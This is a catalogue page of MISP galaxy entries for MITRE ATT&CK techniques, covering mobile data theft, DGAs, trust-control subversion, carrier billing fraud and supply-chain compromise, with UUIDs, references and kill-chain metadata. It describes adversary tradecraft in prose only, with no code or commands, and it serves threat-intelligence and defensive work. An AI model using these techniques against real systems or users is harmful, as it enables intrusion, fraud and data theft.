UUID d69c3e06-8311-4093-8e3e-0a8e06b15d92 which can be used as unique global reference for Assess targeting options - T1296 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1296 |
| kill_chain | ['pre-attack:people-weakness-identification'] |
Analyze data collected - T1287
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
An adversary will assess collected information such as software/hardware versions, vulnerabilities, patch level, etc. They will analyze technical scanning results to identify weaknesses in the confirmation or architecture. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper) (Citation: RSA-APTRecon) (Citation: FireEyeAPT28)
Internal MISP references
UUID 773950e1-090c-488b-a480-9ff236312e31 which can be used as unique global reference for Analyze data collected - T1287 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1287 |
| kill_chain | ['pre-attack:technical-weakness-identification'] |
Conduct social engineering - T1279
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)
Internal MISP references
UUID a757670d-d600-48d9-8ae9-601d42c184a5 which can be used as unique global reference for Conduct social engineering - T1279 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1279 |
| kill_chain | ['pre-attack:organizational-information-gathering'] |
Related clusters
To see the related clusters, click here.
Access Call Log - T1433
On Android, an adversary could call standard operating system APIs from a malicious application to gather call log data, or with escalated privileges could directly access files containing call log data.
On iOS, applications do not have access to the call log, so privilege escalation would be required in order to access the data.
Internal MISP references
UUID 79eec66a-9bd0-4a3f-ac82-19159e94bd44 which can be used as unique global reference for Access Call Log - T1433 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1433 |
| kill_chain | ['mobile-attack-Android:collection', 'mobile-attack-iOS:collection'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Create backup infrastructure - T1339
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Backup infrastructure allows an adversary to recover from environmental and system failures. It also facilitates recovery or movement to other infrastructure if the primary infrastructure is discovered or otherwise is no longer viable. (Citation: LUCKYCAT2012)
Internal MISP references
UUID a425598d-7c19-40f7-9aa3-ac20f0d5c2b2 which can be used as unique global reference for Create backup infrastructure - T1339 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1339 |
| kill_chain | ['pre-attack:establish-&-maintain-infrastructure'] |
Remotely Install Application - T1443
An adversary with control of a target's Google account can use the Google Play Store's remote installation capability to install apps onto the Android devices associated with the Google account as described in (Citation: Oberheide-RemoteInstall), (Citation: Konoth). However, only applications that are available for download through the Google Play Store can be remotely installed using this technique.
Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted or known insecure or malicious apps on devices.
Platforms: Android
Internal MISP references
UUID 831e3269-da49-48ac-94dc-948008e8fd16 which can be used as unique global reference for Remotely Install Application - T1443 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1443 |
Related clusters
To see the related clusters, click here.
Abuse Accessibility Features - T1453
This technique has been deprecated. Please use Input Capture, Input Injection, and Input Prompt where appropriate.
A malicious app could abuse Android's accessibility features to capture sensitive data or perform other malicious actions.(Citation: Skycure-Accessibility)
Adversaries may abuse accessibility features on Android to emulate a user's clicks, for example to steal money from a user's bank account.(Citation: android-trojan-steals-paypal-2fa)(Citation: banking-trojans-google-play)
Adversaries may abuse accessibility features on Android devices to evade defenses by repeatedly clicking the "Back" button when a targeted app manager or mobile security app is launched, or when strings suggesting uninstallation are detected in the foreground. This effectively prevents the malicious application from being uninstalled.(Citation: android-trojan-steals-paypal-2fa)
Internal MISP references
UUID 2204c371-6100-4ae0-82f3-25c07c29772a which can be used as unique global reference for Abuse Accessibility Features - T1453 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1453 - webarchive
- https://www.skycure.com/blog/accessibility-clickjacking/ - webarchive
- https://www.welivesecurity.com/2018/10/24/banking-trojans-continue-surface-google-play/ - webarchive
- https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1453 |
| kill_chain | ['mobile-attack-Android:collection', 'mobile-attack-Android:credential-access', 'mobile-attack-Android:impact', 'mobile-attack-Android:defense-evasion'] |
| mitre_platforms | ['Android'] |
Access Calendar Entries - T1435
An adversary could call standard operating system APIs from a malicious application to gather calendar entry data, or with escalated privileges could directly access files containing calendar data.
Internal MISP references
UUID 62adb627-f647-498e-b4cc-41499361bacb which can be used as unique global reference for Access Calendar Entries - T1435 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1435 |
| kill_chain | ['mobile-attack-Android:collection', 'mobile-attack-iOS:collection'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Create custom payloads - T1345
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
A payload is the part of the malware which performs a malicious action. The adversary may create custom payloads when none exist with the needed capability or when targeting a specific environment. (Citation: APT1)
Internal MISP references
UUID fddd81e9-dd3d-477e-9773-4fb8ae227234 which can be used as unique global reference for Create custom payloads - T1345 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1345 |
| kill_chain | ['pre-attack:build-capabilities'] |
Manipulate Device Communication - T1463
If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to adversary-in-the-middle attacks (Citation: FireEye-SSL).
Internal MISP references
UUID d731c21e-f27d-4756-b418-0e2aaabd6d63 which can be used as unique global reference for Manipulate Device Communication - T1463 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1463 |
| kill_chain | ['mobile-attack-Android:network-effects', 'mobile-attack-iOS:network-effects'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Commonly Used Port - T1436
Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection.
They may use commonly open ports such as
- TCP:80 (HTTP)
- TCP:443 (HTTPS)
- TCP:25 (SMTP)
- TCP/UDP:53 (DNS)
They may use the protocol associated with the port or a completely different protocol.
Internal MISP references
UUID 3911658a-6506-4deb-9ab4-595a51ae71ad which can be used as unique global reference for Commonly Used Port - T1436 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1436 |
| kill_chain | ['mobile-attack-Android:command-and-control', 'mobile-attack-iOS:command-and-control', 'mobile-attack-Android:exfiltration', 'mobile-attack-iOS:exfiltration'] |
| mitre_platforms | ['Android', 'iOS'] |
Application Layer Protocol - T1437
Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the mobile device, and often the results of those commands, will be embedded within the protocol traffic between the mobile device and server.
Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS.
Internal MISP references
UUID 6a3f6490-9c44-40de-b059-e5940f246673 which can be used as unique global reference for Application Layer Protocol - T1437 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1437 |
| kill_chain | ['mobile-attack-Android:command-and-control', 'mobile-attack-iOS:command-and-control'] |
| mitre_platforms | ['Android', 'iOS'] |
Domain Generation Algorithms - T1483
Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)
DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)
Adversaries may use DGAs for the purpose of Fallback Channels. When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)
Internal MISP references
UUID 54456690-84de-4538-9101-643e26437e09 which can be used as unique global reference for Domain Generation Algorithms - T1483 in MISP communities and other software using the MISP galaxy
External references
- http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html - webarchive
- http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf - webarchive
- http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf - webarchive
- https://arxiv.org/pdf/1611.00791.pdf - webarchive
- https://attack.mitre.org/techniques/T1483 - webarchive
- https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html - webarchive
- https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/ - webarchive
- https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/ - webarchive
- https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/ - webarchive
- https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html - webarchive
- https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1483 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Transmitted Data Manipulation - T1493
Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
Internal MISP references
UUID cc1e737c-236c-4e3b-83ba-32039a626ef8 which can be used as unique global reference for Transmitted Data Manipulation - T1493 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1493 |
| kill_chain | ['attack-Linux:impact', 'attack-macOS:impact', 'attack-Windows:impact'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Subvert Trust Controls - T1553
Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.
Adversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct File and Directory Permissions Modification or Modify Registry in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates)
Internal MISP references
UUID b83e166d-13d7-4b52-8677-dff90c548fd7 which can be used as unique global reference for Subvert Trust Controls - T1553 in MISP communities and other software using the MISP galaxy
External references
- http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates - webarchive
- https://attack.mitre.org/techniques/T1553 - webarchive
- https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec - webarchive
- https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/ - webarchive
- https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1553 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Linux:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Metadata', 'File: File Modification', 'Module: Module Load', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows', 'macOS', 'Linux'] |
Revert Cloud Instance - T1536
An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.
Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)
Internal MISP references
UUID 3b4121aa-fc8b-40c8-ac4f-afcb5838b72c which can be used as unique global reference for Revert Cloud Instance - T1536 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1536 |
| kill_chain | ['attack-IaaS:defense-evasion'] |
| mitre_platforms | ['IaaS'] |
Related clusters
To see the related clusters, click here.
Test callback functionality - T1356
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Callbacks are malware communications seeking instructions. An adversary will test their malware to ensure the appropriate instructions are conveyed and the callback software can be reached. (Citation: LeeBeaconing)
Internal MISP references
UUID 0649fc36-72a0-40a0-a2f9-3fc7e3231ad6 which can be used as unique global reference for Test callback functionality - T1356 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1356 |
| kill_chain | ['pre-attack:test-capabilities'] |
Cloud Service Dashboard - T1538
An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)
Depending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.
Internal MISP references
UUID e49920b0-6c54-40c1-9571-73723653205f which can be used as unique global reference for Cloud Service Dashboard - T1538 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1538 |
| kill_chain | ['attack-Azure-AD:discovery', 'attack-Office-365:discovery', 'attack-IaaS:discovery', 'attack-Google-Workspace:discovery', 'attack-SaaS:discovery'] |
| mitre_data_sources | ['Logon Session: Logon Session Creation', 'User Account: User Account Authentication'] |
| mitre_platforms | ['Azure AD', 'Office 365', 'IaaS', 'Google Workspace', 'SaaS'] |
Remote Access Software - T1663
Adversaries may use legitimate remote access software, such as VNC, TeamViewer, AirDroid, AirMirror, etc., to establish an interactive command and control channel to target mobile devices.
Remote access applications may be installed and used post-compromise as an alternate communication channel for redundant access or as a way to establish an interactive remote session with the target device. They may also be used as a component of malware to establish a reverse connection to an adversary-controlled system or service. Installation of remote access tools may also include persistence.
Internal MISP references
UUID 0b761f2b-197a-40f2-b100-8152cb957c0c which can be used as unique global reference for Remote Access Software - T1663 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1663 |
| kill_chain | ['mobile-attack-Android:command-and-control', 'mobile-attack-iOS:command-and-control'] |
| mitre_platforms | ['Android', 'iOS'] |
Protected User Data - T1636
Adversaries may utilize standard operating system APIs to collect data from permission-backed data stores on a device, such as the calendar or contact list. These permissions need to be declared ahead of time. On Android, they must be included in the application’s manifest. On iOS, they must be included in the application’s Info.plist file.
In almost all cases, the user is required to grant access to the data store that the application is trying to access. In recent OS versions, vendors have introduced additional privacy controls for users, such as the ability to grant permission to an application only while the application is being actively used by the user.
If the device has been jailbroken or rooted, an adversary may be able to access Protected User Data without the user’s knowledge or approval.
Internal MISP references
UUID 11c2c2b7-1fd4-408f-bc2e-fe772ef9df5e which can be used as unique global reference for Protected User Data - T1636 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1636 |
| kill_chain | ['mobile-attack-Android:collection', 'mobile-attack-iOS:collection'] |
| mitre_platforms | ['Android', 'iOS'] |
Disseminate removable media - T1379
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Removable media containing malware can be injected in to a supply chain at large or small scale. It can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access. (Citation: USBMalwareAttacks) (Citation: FPDefendNewDomain) (Citation: ParkingLotUSB)
Internal MISP references
UUID 2f442206-2983-4fc2-93fd-0a828e026412 which can be used as unique global reference for Disseminate removable media - T1379 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1379 |
| kill_chain | ['pre-attack:stage-capabilities'] |
Spearphishing for Information - T1397
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Spearphishing for information is a specific variant of spearphishing. Spearphishing for information is different from other forms of spearphishing in that it it doesn't leverage malicious code. All forms of spearphishing are elctronically delivered social engineering targeted at a specific individual, company, or industry. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials, without involving malicious code. Spearphishing for information frequently involves masquerading as a source with a reason to collect information (such as a system administrator or a bank) and providing a user with a website link to visit. The given website often closely resembles a legitimate site in appearance and has a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Spearphishing for information may also try to obtain information directly through the exchange of emails, instant messengers or other electronic conversation means. (Citation: ATTACKREF GRIZZLY STEPPE JAR)
Internal MISP references
UUID b182f29c-2505-4b32-a000-0440ef189f59 which can be used as unique global reference for Spearphishing for Information - T1397 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1397 |
| kill_chain | ['pre-attack:technical-information-gathering'] |
Ingress Tool Transfer - T1544
Adversaries may transfer tools or other files from an external system onto a compromised device to facilitate follow-on actions. Files may be copied from an external adversary-controlled system through the command and control channel or through alternate protocols with another tool such as FTP.
Internal MISP references
UUID 2bb20118-e6c0-41dc-a07c-283ea4dd0fb8 which can be used as unique global reference for Ingress Tool Transfer - T1544 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1544 |
| kill_chain | ['mobile-attack-Android:command-and-control', 'mobile-attack-iOS:command-and-control'] |
| mitre_platforms | ['Android', 'iOS'] |
Malicious SMS Message - T1454
Test
Internal MISP references
UUID 0bcc4ec1-a897-49a9-a9ff-c00df1d1209d which can be used as unique global reference for Malicious SMS Message - T1454 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1454 |
| kill_chain | ['mobile-attack-Android:collection'] |
| mitre_platforms | ['Android'] |
Supply Chain Compromise - T1474
Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.
Supply chain compromise can take place at any stage of the supply chain including:
- Manipulation of development tools
- Manipulation of a development environment
- Manipulation of source code repositories (public or private)
- Manipulation of source code in open-source dependencies
- Manipulation of software update/distribution mechanisms
- Compromised/infected system images
- Replacement of legitimate software with modified versions
- Sales of modified/counterfeit products to legitimate distributors
- Shipment interdiction
While supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency, specifically with the widespread usage of third-party advertising libraries.(Citation: Grace-Advertisement)(Citation: NowSecure-RemoteCode)
Internal MISP references
UUID 0d95940f-9583-4e0f-824c-a42c1be47fad which can be used as unique global reference for Supply Chain Compromise - T1474 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1474 - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-6.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-0.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-1.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-10.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-11.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-12.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-13.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-14.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-15.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-16.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-17.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-18.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-19.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-2.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-20.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-21.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-3.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-4.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-5.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-6.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-7.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-8.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-9.html - webarchive
- https://www.csc2.ncsu.edu/faculty/xjiang4/pubs/WISEC12_ADRISK.pdf - webarchive
- https://www.nowsecure.com/blog/2015/06/15/a-pattern-for-remote-code-execution-using-arbitrary-file-writes-and-multidex-applications/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1474 |
| kill_chain | ['mobile-attack-Android:initial-access', 'mobile-attack-iOS:initial-access'] |
| mitre_platforms | ['Android', 'iOS'] |
Delete Device Data - T1447
Adversaries may wipe a device or delete individual files in order to manipulate external outcomes or hide activity. An application must have administrator access to fully wipe the device, while individual files may not require special permissions to delete depending on their storage location. (Citation: Android DevicePolicyManager 2019)
Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The impact file deletion will have depends on the type of data as well as the goals and objectives of the adversary, but can include deleting update files to evade detection or deleting attacker-specified files for impact.
Internal MISP references
UUID 8e27551a-5080-4148-a584-c64348212e4f which can be used as unique global reference for Delete Device Data - T1447 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1447 |
| kill_chain | ['mobile-attack-Android:impact', 'mobile-attack-Android:defense-evasion'] |
| mitre_platforms | ['Android'] |
Related clusters
To see the related clusters, click here.
Carrier Billing Fraud - T1448
A malicious app may trigger fraudulent charges on a victim’s carrier billing statement in several different ways, including SMS toll fraud and SMS shortcodes that make purchases.
Performing SMS fraud relies heavily upon the fact that, when making SMS purchases, the carriers perform device verification but not user verification. This allows adversaries to make purchases on behalf of the user, with little or no user interaction.(Citation: Google Bread)
Malicious applications may also perform toll billing, which occurs when carriers provide payment endpoints over a web page. The application connects to the web page over cellular data so the carrier can directly verify the number, or the application must retrieve a code sent via SMS and enter it into the web page.(Citation: Google Bread)
On iOS, apps cannot send SMS messages.
On Android, apps must hold the SEND_SMS permission to send SMS messages. Additionally, Android version 4.2 and above has mitigations against this threat by requiring user consent before allowing SMS messages to be sent to premium numbers (Citation: AndroidSecurity2014).
Internal MISP references
UUID 8f0e39c6-82c9-41ec-9f93-5696c0f2e274 which can be used as unique global reference for Carrier Billing Fraud - T1448 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1448 |
| kill_chain | ['mobile-attack-Android:impact'] |
| mitre_platforms | ['Android'] |
Related clusters
To see the related clusters, click here.
Runtime Data Manipulation - T1494
Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct Change Default File Association and Masquerading to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
Internal MISP references
UUID ca205a36-c1ad-488b-aa6c-ab34bdd3a36b which can be used as unique global reference for Runtime Data Manipulation - T1494 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1494 |
| kill_chain | ['attack-Linux:impact', 'attack-macOS:impact', 'attack-Windows:impact'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Exploit Baseband Vulnerability - T1455
A message sent over a radio interface (typically cellular, but potentially Bluetooth, GPS, NFC, Wi-Fi or other) to the mobile device could exploit a vulnerability in code running on the device.
D. Komaromy and N. Golde demonstrated baseband exploitation of a Samsung mobile device at the PacSec 2015 security conference (Citation: Register-BaseStation).
Weinmann described and demonstrated "the risk of remotely exploitable memory corruptions in cellular baseband stacks." (Citation: Weinmann-Baseband)
Platforms: Android, iOS
Internal MISP references
UUID c91c304a-975d-4501-9789-0db1c57afd3f which can be used as unique global reference for Exploit Baseband Vulnerability - T1455 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1455 |
Related clusters
To see the related clusters, click here.
Event Triggered Execution - T1546
Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)
Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)
Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.
Internal MISP references
UUID b6301b64-ef57-4cce-bb0b-77026f14a8db which can be used as unique global reference for Event Triggered Execution - T1546 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1546 - webarchive
- https://medium.com/daniel-grzelak/backdooring-an-aws-account-da007d36f8f9 - webarchive
- https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/ - webarchive
- https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf - webarchive
- https://www.microsoft.com/security/blog/2020/03/09/real-life-cybercrime-stories-dart-microsoft-detection-and-response-team - webarchive
- https://www.varonis.com/blog/power-automate-data-exfiltration - webarchive
- https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1546 |
| kill_chain | ['attack-Linux:privilege-escalation', 'attack-macOS:privilege-escalation', 'attack-Windows:privilege-escalation', 'attack-SaaS:privilege-escalation', 'attack-IaaS:privilege-escalation', 'attack-Office-365:privilege-escalation', 'attack-Linux:persistence', 'attack-macOS:persistence', 'attack-Windows:persistence', 'attack-SaaS:persistence', 'attack-IaaS:persistence', 'attack-Office-365:persistence'] |
| mitre_data_sources | ['Cloud Service: Cloud Service Modification', 'Command: Command Execution', 'File: File Creation', 'File: File Metadata', 'File: File Modification', 'Module: Module Load', 'Process: Process Creation', 'WMI: WMI Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'SaaS', 'IaaS', 'Office 365'] |
Malicious Media Content - T1457
Content of a media (audio or video) file could be designed to exploit vulnerabilities in parsers on the mobile device, as for example demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).
Platforms: Android, iOS
Internal MISP references
UUID a9cab8f6-4c94-4c9b-9e7d-9d863ff53431 which can be used as unique global reference for Malicious Media Content - T1457 in MISP communities and other software using the MISP galaxy
External references
